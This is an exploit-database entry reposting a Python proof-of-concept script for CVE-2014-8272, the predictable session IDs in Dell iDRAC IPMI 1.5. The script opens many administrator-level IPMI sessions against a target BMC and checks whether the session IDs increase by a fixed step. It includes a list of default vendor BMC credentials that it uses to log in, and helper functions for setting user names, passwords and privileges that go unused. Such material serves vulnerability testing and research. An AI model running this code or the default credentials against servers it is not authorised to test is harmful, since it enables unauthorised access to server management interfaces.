发布 2015-01-13 漏洞条目

Dell iDRAC IPMI 1.5 – Insufficient Session ID Randomness

Exploit Source

"""

For testing purposes only.

"""

from time import sleep

from socket import *

from struct import *

from random import *

import sys, os, argparse

HOST = None

PORT = 623

bufsize = 1024

recv = ""

# create socket

UDPsock = socket(AF_INET,SOCK_DGRAM)

UDPsock.settimeout(2)

data = 21 #offset of data start

RMCP = ('\x06' + #RMCP.version = ASF RMCP v1.0

'\x00' + #RMCP.reserved

'\xFF' + #RMCP.seq

'\x07' #RMCP.Type/Class = Normal_RMCP/IPMI

)

def SessionHeader (ipmi, auth_type='None', seq_num=0, sess_id=0, pwd=None):

auth_types = {'None':0, 'MD2':1, 'MD5':2, 'Reserved':3, 'Straight Pwd':4, 'OEM':5}

sess_header = ''

sess_header += pack('<B', auth_types[auth_type])

sess_header += pack('<L', seq_num)

sess_header += pack('<L', sess_id)

if auth_type is not 'None':

raw = pwd + pack('<L', sess_id) + ipmi + pack('<L', seq_num) + pwd

import hashlib

h = hashlib.md5(raw)

sess_header += h.digest()

sess_header += pack('B', len(ipmi))

return sess_header

class CreateIPMI ():

def __init__ (self):

self.priv_lvls = {'Reserved':0, 'Callback':1, 'User':2, 'Operator':3, 'Admin':4, 'OEM':5, 'NO ACCESS':15 }

self.priv_lvls_2 = {0:'Reserved', 1:'Callback', 2:'User', 3:'Operator', 4:'Admin', 5:'OEM', 15:'NO ACCESS'}

self.auth_types = {'None':0, 'MD2':1, 'MD5':2, 'Reserved':3, 'Straight Pwd':4, 'OEM':5}

def CheckSum (self, bytes):

chksum = 0

q = ''

for i in bytes:

q += '%02X ' %ord(i)

chksum = (chksum + ord(i)) % 0x100

if chksum > 0:

chksum = 0x100 - chksum

return pack('>B', chksum)

def Header (self, cmd, seq_num=0x00):

#only for IPMI v1.5

cmds = {'Get Channel Auth Capabilities' : (0x06, 0x38), #(netfn, cmd_code)

'Get Session Challenge' : (0x06, 0x39),

'Activate Session' : (0x06, 0x3a),

'Set Session Privilege Level' : (0x06, 0x3b),

'Close Session' : (0x06, 0x3c),

'Set User Access' : (0x06, 0x43),

'Get User Access' : (0x06, 0x44),

'Set User Name' : (0x06, 0x45),

'Get User Name' : (0x06, 0x46),

'Set User Password' : (0x06, 0x47),

'Get Chassis Status' : (0x00, 0x01)}

ipmi_header = ''

ipmi_header += pack('<B', 0x20) #target addr

ipmi_header += pack('<B', cmds[cmd][0]<<2 | 0) #netfn | target lun

ipmi_header += self.CheckSum (ipmi_header)

ipmi_header += pack('<B', 0x81) #source addr

ipmi_header += pack('<B', seq_num<<2 | 0) #seq_num | source lun

ipmi_header += pack('<B', cmds[cmd][1]) #IPMI message command

return ipmi_header

def GetChannelAuthenticationCapabilities (self, hdr_seq, chn=0x0E, priv_lvl='Admin'):

ipmi = ''

ipmi += self.Header('Get Channel Auth Capabilities', hdr_seq)

ipmi += pack('<B', 0<<7 | chn) #IPMI v1.5 | chn num (0-7, 14=current_chn, 15)

ipmi += pack('<B', self.priv_lvls[priv_lvl]) #requested privilege level

ipmi += self.CheckSum (ipmi[3:])

return ipmi

def GetSessionChallenge (self, hdr_seq, username, auth_type='MD5'):

#only for IPMI v1.5

ipmi = ''

ipmi += self.Header('Get Session Challenge', hdr_seq)

ipmi += pack('<B', self.auth_types[auth_type]) #authentication type

ipmi += username #user name

ipmi += self.CheckSum(ipmi[3:])

return ipmi

def ActivateSession (self, hdr_seq, authcode, auth_type='MD5', priv_lvl='Admin'):

#only for IPMI v1.5

ipmi = ''

ipmi += self.Header('Activate Session', hdr_seq)

ipmi += pack('>B', self.auth_types[auth_type])

ipmi += pack('>B', self.priv_lvls[priv_lvl])

ipmi += authcode #challenge string

ipmi += pack('<L', 0xdeadb0b0) #initial outbound seq num

ipmi += self.CheckSum(ipmi[3:])

return ipmi

def SetSessionPrivilegeLevel (self, hdr_seq, priv_lvl='Admin'):

#only for IPMI v1.5

ipmi = ''

ipmi += self.Header('Set Session Privilege Level', hdr_seq)

ipmi += pack('>B', self.priv_lvls[priv_lvl])

ipmi += self.CheckSum(ipmi[3:])

return ipmi

def CloseSession (self, hdr_seq, sess_id):

ipmi = ''

ipmi += self.Header ("Close Session", hdr_seq)

ipmi += pack('<L', sess_id)

ipmi += self.CheckSum(ipmi[3:])

return ipmi

def GetChassisStatus (self, hdr_seq):

ipmi = ''

ipmi += self.Header ("Get Chassis Status", hdr_seq)

ipmi += self.CheckSum(ipmi[3:])

return ipmi

def GetUserAccess (self, hdr_seq, user_id, chn_num=0x0E):

ipmi = ''

ipmi += self.Header ("Get User Access", hdr_seq)

ipmi += pack('>B', chn_num) #chn_num = 0x0E = current channel

ipmi += pack('>B', user_id)

ipmi += self.CheckSum(ipmi[3:])

return ipmi

def GetUserName (self, hdr_seq, user_id=2):

ipmi = ''

ipmi += self.Header ("Get User Name", hdr_seq)

ipmi += pack('>B', user_id)

ipmi += self.CheckSum(ipmi[3:])

return ipmi

def SetUserName (self, hdr_seq, user_id, user_name):

#Assign user_name to user_id, replaces if user_id is occupied

ipmi = ''

ipmi += self.Header ("Set User Name", hdr_seq)

ipmi += pack('>B', user_id)

ipmi += user_name.ljust(16, '\x00')

ipmi += self.CheckSum(ipmi[3:])

return ipmi

def SetUserPassword (self, hdr_seq, user_id, password, op='set password'):

ops = {'disable user':0, 'enable user':1, 'set password':2, 'test password':3}

ipmi = ''

ipmi += self.Header ("Set User Password", hdr_seq)

ipmi += pack('>B', user_id)

ipmi += pack('>B', ops[op])

ipmi += password.ljust(16, '\x00') #IPMI v1.5: 16bytes | IPMI v2.0: 20bytes

ipmi += self.CheckSum(ipmi[3:])

return ipmi

def SetUserAccess (self, hdr_seq, user_id, new_priv, chn=0x0E):

ipmi = ''

ipmi += self.Header ("Set User Access", hdr_seq)

ipmi += pack('<B', 1<<7 | 0<<6 | 0<<5 | 1<<4 | chn) #bit4=1=enable user for IPMI Messaging | chn=0xE=current channel

ipmi += pack('>B', user_id)

ipmi += pack('>B', self.priv_lvls[new_priv])

ipmi += pack('>B', 0)

ipmi += self.CheckSum(ipmi[3:])

return ipmi

def SendUDP (pkt):

global HOST, PORT, data

res = ''

code = ipmi_seq = 0xFFFF

for i in range(5):

try:

UDPsock.sendto(pkt, (HOST, PORT))

res = UDPsock.recv(bufsize)

except Exception as e:

print '[-] Socket Timeout: Try %d'%i

sleep (0)

else:

#have received a reply

if res[4:5] == '\x02': #Session->AuthType = MD5

data += 16

code = unpack('B',res[data-1:data])[0]

ipmi_seq= unpack('B',res[data-3:data-2])[0]>>2

if res[4:5] == '\x02':

data -= 16

break

return code, ipmi_seq, res

def SetUpSession (username, pwd, priv='Admin', auth='MD5'):

global data

#Get Channel Authentication Capabilities

ipmi = CreateIPMI().GetChannelAuthenticationCapabilities(0, chn=0xE, priv_lvl=priv)

code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi) + ipmi)

if code != 0x00:

return code, 0, 0, 0

#print '[+]%-30s: %02X (%d)'%('Get Chn Auth Capabilities', code, ipmi_seq)

#Get Session Challenge

ipmi = CreateIPMI().GetSessionChallenge(1, username, 'MD5')

code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi) + ipmi)

if code != 0x00:

if code == 0xFFFF:

print "[-] BMC didn't respond to IPMI v1.5 session setup"

print " If firmware had disabled it, then BMC is not vulnerable"

return code, 0, 0, 0

temp_sess_id = unpack('<L', res[data:data+4])[0]

challenge_str = res[data+4:data+4+16]

#print '[+]%-30s: %02X (%d)'%('Get Session Challenge', code, ipmi_seq)

#Activate Session

ipmi = CreateIPMI().ActivateSession(2, challenge_str, auth, priv)

code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi, auth, 0, temp_sess_id, pwd) + ipmi)

if code != 0x00:

return code, 0, 0, 0

data += 16

sess_auth_type = unpack('B', res[data:data+1])[0]

sess_id = unpack('<L', res[data+1:data+1+4])[0]

ini_inbound = sess_hdr_seq = unpack('<L', res[data+5:data+5+4])[0]

sess_priv_lvl = unpack('B', res[data+9:data+9+1])[0]

#print '[+]%-30s: %02X (%d)'%('Activate Session', code, ipmi_seq)

#print ' %-30s: Session_ID %08X'%sess_id

data -= 16

#Set Session Privilege Level

ipmi = CreateIPMI().SetSessionPrivilegeLevel(3, priv)

code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi, 'None', sess_hdr_seq, sess_id) + ipmi)

sess_hdr_seq += 1

if code != 0x00:

return code, 0, 0, 0

new_priv_lvl = unpack('B', res[data:data+1])[0]

#print '[+]%-30s: %02X (%d)'%('Set Session Priv Level', code, ipmi_seq)

return code, temp_sess_id, sess_hdr_seq, sess_id

def CloseSession (sess_seq, sess_id):

global data

#Close Session

ipmi = CreateIPMI().CloseSession(5, sess_id)

code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi, 'None', sess_seq, sess_id) + ipmi)

#print '[+]%-30s: %02X (%d)'%('Close Session', code, ipmi_seq)

return code

def CheckSessionAlive(sess_seq, sess_id):

#SetUserPassword(): "user enable <user_id>"

ipmi = CreateIPMI().GetChassisStatus(31)

code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi, 'None', sess_seq, sess_id) + ipmi)

print '[+] %-35s: %02X (%d)'%('CheckSessionAlive->GetChassisStatus', code, ipmi_seq)

sess_seq += 1

return sess_seq

def banner():

print ("######################################################\n"+\

"## This tool checks whether a BMC machine is vulnerable to CVE-2014-8272\n"+\

"## (http://www.kb.cert.org/vuls/id/843044)\n"+\

"## by logging the TemporarySessionID/SessionID in each IPMI v1.5 session,\n"+\

"## and checking that these values are incremental\n"+\

"## \n"+\

"## Author: Yong Chuan, Koh\n"+\

"## Email: yongchuan.koh@mwrinfosecurity.com\n"+\

"## (c) Yong Chuan, Koh 2014\n"+\

"######################################################\n")

def main():

banner()

#default usernames/passwords (https://community.rapid7.com/community/metasploit/blog/2013/07/02/a-penetration-testers-guide-to-ipmi)

vendors = {"HP" :{"user":"Administrator", "pwd":""}, #no default pwd: <factory randomized 8-character string>

"DELL" :{"user":"root", "pwd":"calvin"},

"IBM" :{"user":"USERID", "pwd":"PASSW0RD"},

"FUJITSU" :{"user":"admin", "pwd":"admin"},

"SUPERMICRO" :{"user":"ADMIN", "pwd":"ADMIN"},

"ORACLE" :{"user":"root", "pwd":"changeme"},

"ASUS" :{"user":"admin", "pwd":"admin"}

}

arg = argparse.ArgumentParser(description="Test for CVE-2014-8272: Use of Insufficiently Random Values")

arg.add_argument("-i", "--ip", required=True, help="IP address of BMC server")

arg.add_argument("-u", "--udpport", nargs="?", default=623, type=int, help="Port of BMC server (optional: default 623)")

arg.add_argument("-v", "--vendor", nargs="?", help="Server vendor of BMC (optional: for default BMC credentials)")

arg.add_argument("-n", "--username", nargs="?", default=None, help="Username of BMC account (optional: for non-default credentials)")

arg.add_argument("-p", "--password", nargs="?", default=None, help="Password of BMC account (optional: for non-default credentials)")

args = arg.parse_args()

if args.vendor is not None: args.vendor = args.vendor.upper()

if (args.vendor is None or args.vendor not in vendors.keys()) and (args.username is None or args.password is None):

print "[-] Error: -n and -p are required because -v is not specified/in default list"

print " Vendors with Default Accounts"

print " -----------------------------------"

for vendor,acct in vendors.iteritems():

print " %s: username='%s', password='%s'"%(vendor,acct["user"],acct["pwd"])

sys.exit(1)

if args.username is None: args.username = vendors[args.vendor]["user"].ljust(16, '\x00')

if args.password is None: args.password = vendors[args.vendor]["pwd"].ljust(16, '\x00')

global HOST, PORT

HOST = args.ip

PORT = args.udpport

print "Script Parameters"

print "-------------------------"

print "IP : %s"%HOST

print "Port : %d"%PORT

print "Username : %s"%args.username

print "Password : %s"%args.password

session_ids = []

for i in xrange(0x80): #do not go beyond 0xFF, because of how session_ids is checked for incremental later

try:

code, temp_sess_id, sess_seq, sess_id = SetUpSession (args.username, args.password, priv='Admin', auth='MD5')

if code == 0:

session_ids.append(temp_sess_id)

session_ids.append(sess_id)

print '[+%04X] temp_sess_id=%08X, sess_id=%08X'%(i, temp_sess_id, sess_id)

else:

#print '[-%04X] SetUp Session: Trying again after timeout 5s'%(i)

sleep(5)

continue

code = CloseSession (sess_seq, sess_id)

if code == 0:

#print '[+%04X] Close Session OK'%(i)

i += 1

sleep (0.5)

else:

#print '[-%04X] Close Session fail: Wait for natural timeout (60+/-3s)'%(i)

sleep(65)

except Exception as e:

exc_type, exc_obj, exc_tb = sys.exc_info()

fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]

print (exc_type, fname, exc_tb.tb_lineno)

session_ids = session_ids[:0xFF]

#get the first incremental diff

const_diff = None

for i in xrange(1, len(session_ids)):

if session_ids[i-1] < session_ids[i]:

const_diff = session_ids[i] - session_ids[i-1]

break

#check if session_ids are increasing at a fixed value

vulnerable = True

crossed_value_boundary = 0

for i in xrange(1, len(session_ids)):

if session_ids[i]-session_ids[i-1] != const_diff:

if crossed_value_boundary < 2:

crossed_value_boundary += 1

else:

vulnerable = False

if vulnerable:

print "Conclusion: BMC is vulnerable to CVE-2014-8272"

else:

print "Conclusion: BMC is not vulnerable to CVE-2014-8272"

if __name__ == "__main__":

main()

作者: Yong Chuan, Koh
日期: 2015-01-13
类别: webapps
平台: hardware

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